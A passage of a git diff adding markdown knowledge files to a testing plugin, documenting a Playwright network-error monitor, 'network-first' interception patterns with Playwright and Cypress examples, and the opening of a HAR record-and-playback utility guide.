+- Backend 500 errors ignored if UI looks correct
+- Silent failures slip through
+- No visibility into background API health
+- Tests pass while features are broken
+
+The `network-error-monitor` provides:
+
+- **Automatic detection**: All HTTP 4xx/5xx responses tracked
+- **Test failures**: Fail tests with backend errors (even if UI passes)
+- **Structured artifacts**: JSON reports with error details
+- **Smart opt-out**: Disable for validation tests expecting errors
+- **Deduplication**: Group repeated errors by pattern
+- **Domino effect prevention**: Limit test failures per error pattern
+- **Respects test status**: Won't suppress actual test failures
+
+## Quick Start
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+// That's it! Network monitoring is automatically enabled
+test('my test', async ({ page }) => {
+  await page.goto('/dashboard');
+  // If any HTTP 4xx/5xx errors occur, the test will fail
+});
+```
+
+## Pattern Examples
+
+### Example 1: Basic Auto-Monitoring
+
+**Context**: Automatically fail tests when backend errors occur.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+// Monitoring automatically enabled
+test('should load dashboard', async ({ page }) => {
+  await page.goto('/dashboard');
+  await expect(page.locator('h1')).toContainText('Dashboard');
+
+  // Passes if no HTTP errors
+  // Fails if any 4xx/5xx errors detected with clear message:
+  //    "Network errors detected: 2 request(s) failed"
+  //    Failed requests:
+  //      GET 500 https://api.example.com/users
+  //      POST 503 https://api.example.com/metrics
+});
+```
+
+**Key Points**:
+
+- Zero setup - auto-enabled for all tests
+- Fails on any 4xx/5xx response
+- Structured error message with URLs and status codes
+- JSON artifact attached to test report
+
+### Example 2: Opt-Out for Validation Tests
+
+**Context**: Some tests expect errors (validation, error handling, edge cases).
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+// Opt-out with annotation
+test('should show error on invalid input', { annotation: [{ type: 'skipNetworkMonitoring' }] }, async ({ page }) => {
+  await page.goto('/form');
+  await page.click('#submit'); // Triggers 400 error
+
+  // Monitoring disabled - test won't fail on 400
+  await expect(page.getByText('Invalid input')).toBeVisible();
+});
+
+// Or opt-out entire describe block
+test.describe('error handling', { annotation: [{ type: 'skipNetworkMonitoring' }] }, () => {
+  test('handles 404', async ({ page }) => {
+    // All tests in this block skip monitoring
+  });
+
+  test('handles 500', async ({ page }) => {
+    // Monitoring disabled
+  });
+});
+```
+
+**Key Points**:
+
+- Use annotation `{ type: 'skipNetworkMonitoring' }`
+- Can opt-out single test or entire describe block
+- Monitoring still active for other tests
+- Perfect for intentional error scenarios
+
+### Example 3: Respects Test Status
+
+**Context**: The monitor respects final test statuses to avoid suppressing important test outcomes.
+
+**Behavior by test status:**
+
+- **`failed`**: Network errors logged as additional context, not thrown
+- **`timedOut`**: Network errors logged as additional context
+- **`skipped`**: Network errors logged, skip status preserved
+- **`interrupted`**: Network errors logged, interrupted status preserved
+- **`passed`**: Network errors throw and fail the test
+
+**Example with test.skip():**
+
+```typescript
+test('feature gated test', async ({ page }) => {
+  const featureEnabled = await checkFeatureFlag();
+  test.skip(!featureEnabled, 'Feature not enabled');
+  // If skipped, network errors won't turn this into a failure
+  await page.goto('/new-feature');
+});
+```
+
+### Example 4: Excluding Legitimate Errors
+
+**Context**: Some endpoints legitimately return 4xx/5xx responses.
+
+**Implementation**:
+
+```typescript
+import { test as base } from '@playwright/test';
+import { createNetworkErrorMonitorFixture } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+export const test = base.extend(
+  createNetworkErrorMonitorFixture({
+    excludePatterns: [
+      /email-cluster\/ml-app\/has-active-run/, // ML service returns 404 when no active run
+      /idv\/session-templates\/list/, // IDV service returns 404 when not configured
+      /sentry\.io\/api/, // External Sentry errors should not fail tests
+    ],
+  }),
+);
+```
+
+**For merged fixtures:**
+
+```typescript
+import { test as base, mergeTests } from '@playwright/test';
+import { createNetworkErrorMonitorFixture } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+const networkErrorMonitor = base.extend(
+  createNetworkErrorMonitorFixture({
+    excludePatterns: [/analytics\.google\.com/, /cdn\.example\.com/],
+  }),
+);
+
+export const test = mergeTests(authFixture, networkErrorMonitor);
+```
+
+### Example 5: Preventing Domino Effect
+
+**Context**: One failing endpoint shouldn't fail all tests.
+
+**Implementation**:
+
+```typescript
+import { test as base } from '@playwright/test';
+import { createNetworkErrorMonitorFixture } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+const networkErrorMonitor = base.extend(
+  createNetworkErrorMonitorFixture({
+    excludePatterns: [], // Required when using maxTestsPerError
+    maxTestsPerError: 1, // Only first test fails per error pattern, rest just log
+  }),
+);
+```
+
+**How it works:**
+
+When `/api/v2/case-management/cases` returns 500:
+
+- **First test** encountering this error: **FAILS** with clear error message
+- **Subsequent tests** encountering same error: **PASSES** but logs warning
+
+Error patterns are grouped by `method + status + base path`:
+
+- `GET /api/v2/case-management/cases/123` -> Pattern: `GET:500:/api/v2/case-management`
+- `GET /api/v2/case-management/quota` -> Pattern: `GET:500:/api/v2/case-management` (same group!)
+- `POST /api/v2/case-management/cases` -> Pattern: `POST:500:/api/v2/case-management` (different group!)
+
+**Why include HTTP method?** A GET 404 vs POST 404 might represent different issues:
+
+- `GET 404 /api/users/123` -> User not found (expected in some tests)
+- `POST 404 /api/users` -> Endpoint doesn't exist (critical error)
+
+**Output for subsequent tests:**
+
+```
+Warning: Network errors detected but not failing test (maxTestsPerError limit reached):
+  GET 500 https://api.example.com/api/v2/case-management/cases
+```
+
+**Recommended configuration:**
+
+```typescript
+createNetworkErrorMonitorFixture({
+  excludePatterns: [...], // Required - known broken endpoints (can be empty [])
+  maxTestsPerError: 1     // Stop domino effect (requires excludePatterns)
+})
+```
+
+**Understanding worker-level state:**
+
+Error pattern counts are stored in worker-level global state:
+
+```typescript
+// test-file-1.spec.ts (runs in Worker 1)
+test('test A', () => {
+  /* triggers GET:500:/api/v2/cases */
+}); // FAILS
+
+// test-file-2.spec.ts (runs later in Worker 1)
+test('test B', () => {
+  /* triggers GET:500:/api/v2/cases */
+}); // PASSES (limit reached)
+
+// test-file-3.spec.ts (runs in Worker 2 - different worker)
+test('test C', () => {
+  /* triggers GET:500:/api/v2/cases */
+}); // FAILS (fresh worker)
+```
+
+### Example 6: Integration with Merged Fixtures
+
+**Context**: Combine network-error-monitor with other utilities.
+
+**Implementation**:
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { mergeTests } from '@playwright/test';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as networkErrorMonitorFixture } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+export const test = mergeTests(
+  authFixture,
+  networkErrorMonitorFixture,
+  // Add other fixtures
+);
+
+// In tests
+import { test, expect } from '../support/merged-fixtures';
+
+test('authenticated with monitoring', async ({ page, authToken }) => {
+  // Both auth and network monitoring active
+  await page.goto('/protected');
+
+  // Fails if backend returns errors during auth flow
+});
+```
+
+**Key Points**:
+
+- Combine with `mergeTests`
+- Works alongside all other utilities
+- Monitoring active automatically
+- No extra setup needed
+
+### Example 7: Artifact Structure
+
+**Context**: Debugging failed tests with network error artifacts.
+
+When test fails due to network errors, artifact attached:
+
+```json
+[
+  {
+    "url": "https://api.example.com/users",
+    "status": 500,
+    "method": "GET",
+    "timestamp": "2025-11-10T12:34:56.789Z"
+  },
+  {
+    "url": "https://api.example.com/metrics",
+    "status": 503,
+    "method": "POST",
+    "timestamp": "2025-11-10T12:34:57.123Z"
+  }
+]
+```
+
+## Implementation Details
+
+### How It Works
+
+1. **Fixture Extension**: Uses Playwright's `base.extend()` with `auto: true`
+2. **Response Listener**: Attaches `page.on('response')` listener at test start
+3. **Multi-Page Monitoring**: Automatically monitors popups and new tabs via `context.on('page')`
+4. **Error Collection**: Captures 4xx/5xx responses, checking exclusion patterns
+5. **Try/Finally**: Ensures error processing runs even if test fails early
+6. **Status Check**: Only throws errors if test hasn't already reached final status
+7. **Artifact**: Attaches JSON file to test report for debugging
+
+### Performance
+
+The monitor has minimal performance impact:
+
+- Event listener overhead: ~0.1ms per response
+- Memory: ~200 bytes per unique error
+- No network delay (observes responses, doesn't intercept them)
+
+## Comparison with Alternatives
+
+| Approach                    | Network Error Monitor | Manual afterEach      |
+| --------------------------- | --------------------- | --------------------- |
+| **Setup Required**          | Zero (auto-enabled)   | Every test file       |
+| **Catches Silent Failures** | Yes                   | Yes (if configured)   |
+| **Structured Artifacts**    | JSON attached         | Custom impl           |
+| **Test Failure Safety**     | Try/finally           | afterEach may not run |
+| **Opt-Out Mechanism**       | Annotation            | Custom logic          |
+| **Status Aware**            | Respects skip/failed  | No                    |
+
+## When to Use
+
+**Auto-enabled for:**
+
+- All E2E tests
+- Integration tests
+- Any test hitting real APIs
+
+**Opt-out for:**
+
+- Validation tests (expecting 4xx)
+- Error handling tests (expecting 5xx)
+- Offline tests (network-recorder playback)
+
+## Troubleshooting
+
+### Test fails with network errors but I don't see them in my app
+
+The errors might be happening during page load or in background polling. Check the `network-errors.json` artifact in your test report for full details including timestamps.
+
+### False positives from external services
+
+Configure exclusion patterns as shown in the "Excluding Legitimate Errors" section above.
+
+### Network errors not being caught
+
+Ensure you're importing the test from the correct fixture:
+
+```typescript
+// Correct
+import { test } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+// Wrong - this won't have network monitoring
+import { test } from '@playwright/test';
+```
+
+## Related Fragments
+
+- `overview.md` - Installation and fixtures
+- `fixtures-composition.md` - Merging with other utilities
+- `error-handling.md` - Traditional error handling patterns
+
+## Anti-Patterns
+
+**DON'T opt out of monitoring globally:**
+
+```typescript
+// Every test skips monitoring
+test.use({ annotation: [{ type: 'skipNetworkMonitoring' }] });
+```
+
+**DO opt-out only for specific error tests:**
+
+```typescript
+test.describe('error scenarios', { annotation: [{ type: 'skipNetworkMonitoring' }] }, () => {
+  // Only these tests skip monitoring
+});
+```
+
+**DON'T ignore network error artifacts:**
+
+```typescript
+// Test fails, artifact shows 500 errors
+// Developer: "Works on my machine" ¯\_(ツ)_/¯
+```
+
+**DO check artifacts for root cause:**
+
+```typescript
+// Read network-errors.json artifact
+// Identify failing endpoint: GET /api/users -> 500
+// Fix backend issue before merging
+```
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/network-first.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/network-first.md
new file mode 100644
index 0000000..fcc31a9
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/network-first.md
@@ -0,0 +1,486 @@
+# Network-First Safeguards
+
+## Principle
+
+Register network interceptions **before** any navigation or user action. Store the interception promise and await it immediately after the triggering step. Replace implicit waits with deterministic signals based on network responses, spinner disappearance, or event hooks.
+
+## Rationale
+
+The most common source of flaky E2E tests is **race conditions** between navigation and network interception:
+
+- Navigate then intercept = missed requests (too late)
+- No explicit wait = assertion runs before response arrives
+- Hard waits (`waitForTimeout(3000)`) = slow, unreliable, brittle
+
+Network-first patterns provide:
+
+- **Zero race conditions**: Intercept is active before triggering action
+- **Deterministic waits**: Wait for actual response, not arbitrary timeouts
+- **Actionable failures**: Assert on response status/body, not generic "element not found"
+- **Speed**: No padding with extra wait time
+
+## Pattern Examples
+
+### Example 1: Intercept Before Navigate Pattern
+
+**Context**: The foundational pattern for all E2E tests. Always register route interception **before** the action that triggers the request (navigation, click, form submit).
+
+**Implementation**:
+
+```typescript
+// ✅ CORRECT: Intercept BEFORE navigate
+test('user can view dashboard data', async ({ page }) => {
+  // Step 1: Register interception FIRST
+  const usersPromise = page.waitForResponse((resp) => resp.url().includes('/api/users') && resp.status() === 200);
+
+  // Step 2: THEN trigger the request
+  await page.goto('/dashboard');
+
+  // Step 3: THEN await the response
+  const usersResponse = await usersPromise;
+  const users = await usersResponse.json();
+
+  // Step 4: Assert on structured data
+  expect(users).toHaveLength(10);
+  await expect(page.getByText(users[0].name)).toBeVisible();
+});
+
+// Cypress equivalent
+describe('Dashboard', () => {
+  it('should display users', () => {
+    // Step 1: Register interception FIRST
+    cy.intercept('GET', '**/api/users').as('getUsers');
+
+    // Step 2: THEN trigger
+    cy.visit('/dashboard');
+
+    // Step 3: THEN await
+    cy.wait('@getUsers').then((interception) => {
+      // Step 4: Assert on structured data
+      expect(interception.response.statusCode).to.equal(200);
+      expect(interception.response.body).to.have.length(10);
+      cy.contains(interception.response.body[0].name).should('be.visible');
+    });
+  });
+});
+
+// ❌ WRONG: Navigate BEFORE intercept (race condition!)
+test('flaky test example', async ({ page }) => {
+  await page.goto('/dashboard'); // Request fires immediately
+
+  const usersPromise = page.waitForResponse('/api/users'); // TOO LATE - might miss it
+  const response = await usersPromise; // May timeout randomly
+});
+```
+
+**Key Points**:
+
+- Playwright: Use `page.waitForResponse()` with URL pattern or predicate **before** `page.goto()` or `page.click()`
+- Cypress: Use `cy.intercept().as()` **before** `cy.visit()` or `cy.click()`
+- Store promise/alias, trigger action, **then** await response
+- This prevents 95% of race-condition flakiness in E2E tests
+
+### Example 2: HAR Capture for Debugging
+
+**Context**: When debugging flaky tests or building deterministic mocks, capture real network traffic with HAR files. Replay them in tests for consistent, offline-capable test runs.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Enable HAR recording
+export default defineConfig({
+  use: {
+    // Record HAR on first run
+    recordHar: { path: './hars/', mode: 'minimal' },
+    // Or replay HAR in tests
+    // serviceWorkers: 'block',
+  },
+});
+
+// Capture HAR for specific test
+test('capture network for order flow', async ({ page, context }) => {
+  // Start recording
+  await context.routeFromHAR('./hars/order-flow.har', {
+    url: '**/api/**',
+    update: true, // Update HAR with new requests
+  });
+
+  await page.goto('/checkout');
+  await page.fill('[data-testid="credit-card"]', '4111111111111111');
+  await page.click('[data-testid="submit-order"]');
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+
+  // HAR saved to ./hars/order-flow.har
+});
+
+// Replay HAR for deterministic tests (no real API needed)
+test('replay order flow from HAR', async ({ page, context }) => {
+  // Replay captured HAR
+  await context.routeFromHAR('./hars/order-flow.har', {
+    url: '**/api/**',
+    update: false, // Read-only mode
+  });
+
+  // Test runs with exact recorded responses - fully deterministic
+  await page.goto('/checkout');
+  await page.fill('[data-testid="credit-card"]', '4111111111111111');
+  await page.click('[data-testid="submit-order"]');
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+});
+
+// Custom mock based on HAR insights
+test('mock order response based on HAR', async ({ page }) => {
+  // After analyzing HAR, create focused mock
+  await page.route('**/api/orders', (route) =>
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      body: JSON.stringify({
+        orderId: '12345',
+        status: 'confirmed',
+        total: 99.99,
+      }),
+    }),
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+  await expect(page.getByText('Order #12345')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- HAR files capture real request/response pairs for analysis
+- `update: true` records new traffic; `update: false` replays existing
+- Replay mode makes tests fully deterministic (no upstream API needed)
+- Use HAR to understand API contracts, then create focused mocks
+
+### Example 3: Network Stub with Edge Cases
+
+**Context**: When testing error handling, timeouts, and edge cases, stub network responses to simulate failures. Test both happy path and error scenarios.
+
+**Implementation**:
+
+```typescript
+// Test happy path
+test('order succeeds with valid data', async ({ page }) => {
+  await page.route('**/api/orders', (route) =>
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      body: JSON.stringify({ orderId: '123', status: 'confirmed' }),
+    }),
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+});
+
+// Test 500 error
+test('order fails with server error', async ({ page }) => {
+  // Listen for console errors (app should log gracefully)
+  const consoleErrors: string[] = [];
+  page.on('console', (msg) => {
+    if (msg.type() === 'error') consoleErrors.push(msg.text());
+  });
+
+  // Stub 500 error
+  await page.route('**/api/orders', (route) =>
+    route.fulfill({
+      status: 500,
+      contentType: 'application/json',
+      body: JSON.stringify({ error: 'Internal Server Error' }),
+    }),
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+
+  // Assert UI shows error gracefully
+  await expect(page.getByText('Something went wrong')).toBeVisible();
+  await expect(page.getByText('Please try again')).toBeVisible();
+
+  // Verify error logged (not thrown)
+  expect(consoleErrors.some((e) => e.includes('Order failed'))).toBeTruthy();
+});
+
+// Test network timeout
+test('order times out after 10 seconds', async ({ page }) => {
+  // Stub delayed response (never resolves within timeout)
+  await page.route(
+    '**/api/orders',
+    (route) => new Promise(() => {}), // Never resolves - simulates timeout
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+
+  // App should show timeout message after configured timeout
+  await expect(page.getByText('Request timed out')).toBeVisible({ timeout: 15000 });
+});
+
+// Test partial data response
+test('order handles missing optional fields', async ({ page }) => {
+  await page.route('**/api/orders', (route) =>
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      // Missing optional fields like 'trackingNumber', 'estimatedDelivery'
+      body: JSON.stringify({ orderId: '123', status: 'confirmed' }),
+    }),
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+
+  // App should handle gracefully - no crash, shows what's available
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+  await expect(page.getByText('Tracking information pending')).toBeVisible();
+});
+
+// Cypress equivalents
+describe('Order Edge Cases', () => {
+  it('should handle 500 error', () => {
+    cy.intercept('POST', '**/api/orders', {
+      statusCode: 500,
+      body: { error: 'Internal Server Error' },
+    }).as('orderFailed');
+
+    cy.visit('/checkout');
+    cy.get('[data-testid="submit-order"]').click();
+    cy.wait('@orderFailed');
+    cy.contains('Something went wrong').should('be.visible');
+  });
+
+  it('should handle timeout', () => {
+    cy.intercept('POST', '**/api/orders', (req) => {
+      req.reply({ delay: 20000 }); // Delay beyond app timeout
+    }).as('orderTimeout');
+
+    cy.visit('/checkout');
+    cy.get('[data-testid="submit-order"]').click();
+    cy.contains('Request timed out', { timeout: 15000 }).should('be.visible');
+  });
+});
+```
+
+**Key Points**:
+
+- Stub different HTTP status codes (200, 400, 500, 503)
+- Simulate timeouts with `delay` or non-resolving promises
+- Test partial/incomplete data responses
+- Verify app handles errors gracefully (no crashes, user-friendly messages)
+
+### Example 4: Deterministic Waiting
+
+**Context**: Never use hard waits (`waitForTimeout(3000)`). Always wait for explicit signals: network responses, element state changes, or custom events.
+
+**Implementation**:
+
+```typescript
+// ✅ GOOD: Wait for response with predicate
+test('wait for specific response', async ({ page }) => {
+  const responsePromise = page.waitForResponse((resp) => resp.url().includes('/api/users') && resp.status() === 200);
+
+  await page.goto('/dashboard');
+  const response = await responsePromise;
+
+  expect(response.status()).toBe(200);
+  await expect(page.getByText('Dashboard')).toBeVisible();
+});
+
+// ✅ GOOD: Wait for multiple responses
+test('wait for all required data', async ({ page }) => {
+  const usersPromise = page.waitForResponse('**/api/users');
+  const productsPromise = page.waitForResponse('**/api/products');
+  const ordersPromise = page.waitForResponse('**/api/orders');
+
+  await page.goto('/dashboard');
+
+  // Wait for all in parallel
+  const [users, products, orders] = await Promise.all([usersPromise, productsPromise, ordersPromise]);
+
+  expect(users.status()).toBe(200);
+  expect(products.status()).toBe(200);
+  expect(orders.status()).toBe(200);
+});
+
+// ✅ GOOD: Wait for spinner to disappear
+test('wait for loading indicator', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // Wait for spinner to disappear (signals data loaded)
+  await expect(page.getByTestId('loading-spinner')).not.toBeVisible();
+  await expect(page.getByText('Dashboard')).toBeVisible();
+});
+
+// ✅ GOOD: Wait for custom event (advanced)
+test('wait for custom ready event', async ({ page }) => {
+  let appReady = false;
+  page.on('console', (msg) => {
+    if (msg.text() === 'App ready') appReady = true;
+  });
+
+  await page.goto('/dashboard');
+
+  // Poll until custom condition met
+  await page.waitForFunction(() => appReady, { timeout: 10000 });
+
+  await expect(page.getByText('Dashboard')).toBeVisible();
+});
+
+// ❌ BAD: Hard wait (arbitrary timeout)
+test('flaky hard wait example', async ({ page }) => {
+  await page.goto('/dashboard');
+  await page.waitForTimeout(3000); // WHY 3 seconds? What if slower? What if faster?
+  await expect(page.getByText('Dashboard')).toBeVisible(); // May fail if >3s
+});
+
+// Cypress equivalents
+describe('Deterministic Waiting', () => {
+  it('should wait for response', () => {
+    cy.intercept('GET', '**/api/users').as('getUsers');
+    cy.visit('/dashboard');
+    cy.wait('@getUsers').its('response.statusCode').should('eq', 200);
+    cy.contains('Dashboard').should('be.visible');
+  });
+
+  it('should wait for spinner to disappear', () => {
+    cy.visit('/dashboard');
+    cy.get('[data-testid="loading-spinner"]').should('not.exist');
+    cy.contains('Dashboard').should('be.visible');
+  });
+
+  // ❌ BAD: Hard wait
+  it('flaky hard wait', () => {
+    cy.visit('/dashboard');
+    cy.wait(3000); // NEVER DO THIS
+    cy.contains('Dashboard').should('be.visible');
+  });
+});
+```
+
+**Key Points**:
+
+- `waitForResponse()` with URL pattern or predicate = deterministic
+- `waitForLoadState('networkidle')` = wait for all network activity to finish
+- Wait for element state changes (spinner disappears, button enabled)
+- **NEVER** use `waitForTimeout()` or `cy.wait(ms)` - always non-deterministic
+
+### Example 5: Anti-Pattern - Navigate Then Mock
+
+**Problem**:
+
+```typescript
+// ❌ BAD: Race condition - mock registered AFTER navigation starts
+test('flaky test - navigate then mock', async ({ page }) => {
+  // Navigation starts immediately
+  await page.goto('/dashboard'); // Request to /api/users fires NOW
+
+  // Mock registered too late - request already sent
+  await page.route('**/api/users', (route) =>
+    route.fulfill({
+      status: 200,
+      body: JSON.stringify([{ id: 1, name: 'Test User' }]),
+    }),
+  );
+
+  // Test randomly passes/fails depending on timing
+  await expect(page.getByText('Test User')).toBeVisible(); // Flaky!
+});
+
+// ❌ BAD: No wait for response
+test('flaky test - no explicit wait', async ({ page }) => {
+  await page.route('**/api/users', (route) => route.fulfill({ status: 200, body: JSON.stringify([]) }));
+
+  await page.goto('/dashboard');
+
+  // Assertion runs immediately - may fail if response slow
+  await expect(page.getByText('No users found')).toBeVisible(); // Flaky!
+});
+
+// ❌ BAD: Generic timeout
+test('flaky test - hard wait', async ({ page }) => {
+  await page.goto('/dashboard');
+  await page.waitForTimeout(2000); // Arbitrary wait - brittle
+
+  await expect(page.getByText('Dashboard')).toBeVisible();
+});
+```
+
+**Why It Fails**:
+
+- **Mock after navigate**: Request fires during navigation, mock isn't active yet (race condition)
+- **No explicit wait**: Assertion runs before response arrives (timing-dependent)
+- **Hard waits**: Slow tests, brittle (fails if < timeout, wastes time if > timeout)
+- **Non-deterministic**: Passes locally, fails in CI (different speeds)
+
+**Better Approach**: Always intercept → trigger → await
+
+```typescript
+// ✅ GOOD: Intercept BEFORE navigate
+test('deterministic test', async ({ page }) => {
+  // Step 1: Register mock FIRST
+  await page.route('**/api/users', (route) =>
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      body: JSON.stringify([{ id: 1, name: 'Test User' }]),
+    }),
+  );
+
+  // Step 2: Store response promise BEFORE trigger
+  const responsePromise = page.waitForResponse('**/api/users');
+
+  // Step 3: THEN trigger
+  await page.goto('/dashboard');
+
+  // Step 4: THEN await response
+  await responsePromise;
+
+  // Step 5: THEN assert (data is guaranteed loaded)
+  await expect(page.getByText('Test User')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Order matters: Mock → Promise → Trigger → Await → Assert
+- No race conditions: Mock is active before request fires
+- Explicit wait: Response promise ensures data loaded
+- Deterministic: Always passes if app works correctly
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (test generation), `*automate` (test expansion), `*framework` (network setup)
+- **Related fragments**:
+  - `fixture-architecture.md` - Network fixture patterns
+  - `data-factories.md` - API-first setup with network
+  - `test-quality.md` - Deterministic test principles
+
+## Debugging Network Issues
+
+When network tests fail, check:
+
+1. **Timing**: Is interception registered **before** action?
+2. **URL pattern**: Does pattern match actual request URL?
+3. **Response format**: Is mocked response valid JSON/format?
+4. **Status code**: Is app checking for 200 vs 201 vs 204?
+5. **HAR file**: Capture real traffic to understand actual API contract
+
+```typescript
+// Debug network issues with logging
+test('debug network', async ({ page }) => {
+  // Log all requests
+  page.on('request', (req) => console.log('→', req.method(), req.url()));
+
+  // Log all responses
+  page.on('response', (resp) => console.log('←', resp.status(), resp.url()));
+
+  await page.goto('/dashboard');
+});
+```
+
+_Source: Murat Testing Philosophy (lines 94-137), Playwright network patterns, Cypress intercept best practices._
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/network-recorder.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/network-recorder.md
new file mode 100644
index 0000000..ca86323
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/network-recorder.md
@@ -0,0 +1,527 @@
+# Network Recorder Utility
+
+## Principle
+
+Record network traffic to HAR files during test execution, then play back from disk for offline testing. Enables frontend tests to run in complete isolation from backend services with intelligent stateful CRUD detection for realistic API behavior.
+
+## Rationale
+
+Traditional E2E tests require live backend services:
+
+- Slow (real network latency)
+- Flaky (backend instability affects tests)
+- Expensive (full stack running for UI tests)
+- Coupled (UI tests break when API changes)
+
+HAR-based recording/playback provides:
+
+- **True offline testing**: UI tests run without backend
+- **Deterministic behavior**: Same responses every time
+- **Fast execution**: No network latency
+- **Stateful mocking**: CRUD operations work naturally (not just read-only)
+- **Environment flexibility**: Map URLs for any environment
+
+## Quick Start
+
+### 1. Record Network Traffic
+
+```typescript
+// Set mode to 'record' to capture network traffic
+process.env.PW_NET_MODE = 'record';
+
+test('should add, edit and delete a movie', async ({ page, context, networkRecorder }) => {
+  // Setup network recorder - it will record all network traffic
+  await networkRecorder.setup(context);
+
+  // Your normal test code
+  await page.goto('/');
+  await page.fill('#movie-name', 'Inception');
+  await page.click('#add-movie');
+
+  // Network traffic is automatically saved to HAR file
+});
+```
+
+### 2. Playback Network Traffic
+
+```typescript
+// Set mode to 'playback' to use recorded traffic
+process.env.PW_NET_MODE = 'playback';
+
+test('should add, edit and delete a movie', async ({ page, context, networkRecorder }) => {
+  // Setup network recorder - it will replay from HAR file
+  await networkRecorder.setup(context);
+
+  // Same test code runs without hitting real backend!
+  await page.goto('/');
+  await page.fill('#movie-name', 'Inception');
+  await page.click('#add-movie');
+});
+```
+
+That's it! Your tests now run completely offline using recorded network traffic.
+
+## Pattern Examples
+
+### Example 1: Basic Record and Playback
+
+**Context**: The fundamental pattern - record traffic once, play back for all subsequent runs.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/network-recorder/fixtures';
+
+// Set mode in test file (recommended)
+process.env.PW_NET_MODE = 'playback'; // or 'record'
+
+test('CRUD operations work offline', async ({ page, context, networkRecorder }) => {
+  // Setup recorder (records or plays back based on PW_NET_MODE)
+  await networkRecorder.setup(context);
+
+  await page.goto('/');
+
+  // First time (record mode): Records all network traffic to HAR
+  // Subsequent runs (playback mode): Plays back from HAR (no backend!)
+  await page.fill('#movie-name', 'Inception');
+  await page.click('#add-movie');
+
+  // Intelligent CRUD detection makes this work offline!
+  await expect(page.getByText('Inception')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- `PW_NET_MODE=record` captures traffic to HAR files
+- `PW_NET_MODE=playback` replays from HAR files
+- Set mode in test file or via environment variable
+- HAR files auto-organized by test name
+- Stateful mocking detects CRUD operations
+
+### Example 2: Complete CRUD Flow with HAR
+
+**Context**: Full create-read-update-delete flow that works completely offline.
+
+**Implementation**:
+
+```typescript
+process.env.PW_NET_MODE = 'playback';
+
+test.describe('Movie CRUD - offline with network recorder', () => {
+  test.beforeEach(async ({ page, networkRecorder, context }) => {
+    await networkRecorder.setup(context);
+    await page.goto('/');
+  });
+
+  test('should add, edit, delete movie browser-only', async ({ page, interceptNetworkCall }) => {
+    // Create
+    await page.fill('#movie-name', 'Inception');
+    await page.fill('#year', '2010');
+    await page.click('#add-movie');
+
+    // Verify create (reads from stateful HAR)
+    await expect(page.getByText('Inception')).toBeVisible();
+
+    // Update
+    await page.getByText('Inception').click();
+    await page.fill('#movie-name', "Inception Director's Cut");
+
+    const updateCall = interceptNetworkCall({
+      method: 'PUT',
+      url: '/movies/*',
+    });
+
+    await page.click('#save');
+    await updateCall; // Wait for update
+
+    // Verify update (HAR reflects state change!)
+    await page.click('#back');
+    await expect(page.getByText("Inception Director's Cut")).toBeVisible();
+
+    // Delete
+    await page.click(`[data-testid="delete-Inception Director's Cut"]`);
+
+    // Verify delete (HAR reflects removal!)
+    await expect(page.getByText("Inception Director's Cut")).not.toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Full CRUD operations work offline
+- Stateful HAR mocking tracks creates/updates/deletes
+- Combine with `interceptNetworkCall` for deterministic waits
+- First run records, subsequent runs replay
+
+### Example 3: Common Patterns
+
+**Recording Only API Calls**:
+
+```typescript
+await networkRecorder.setup(context, {
+  recording: {
+    urlFilter: /\/api\//, // Only record API calls, ignore static assets
+  },
+});
+```
+
+**Playback with Fallback**:
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    fallback: true, // Fall back to live requests if HAR entry missing
+  },
+});
+```
+
+**Custom HAR File Location**:
+
+```typescript
+await networkRecorder.setup(context, {
+  harFile: {
+    harDir: 'recordings/api-calls',
+    baseName: 'user-journey',
+    organizeByTestFile: false, // Optional: flatten directory structure
+  },
+});
+```
+
+**Directory Organization:**
+
+- `organizeByTestFile: true` (default): `har-files/test-file-name/baseName-test-title.har`
+- `organizeByTestFile: false`: `har-files/baseName-test-title.har`
+
+### Example 4: Response Content Storage - Embed vs Attach
+
+**Context**: Choose how response content is stored in HAR files.
+
+**`embed` (Default - Recommended):**
+
+```typescript
+await networkRecorder.setup(context, {
+  recording: {
+    content: 'embed', // Store content inline (default)
+  },
+});
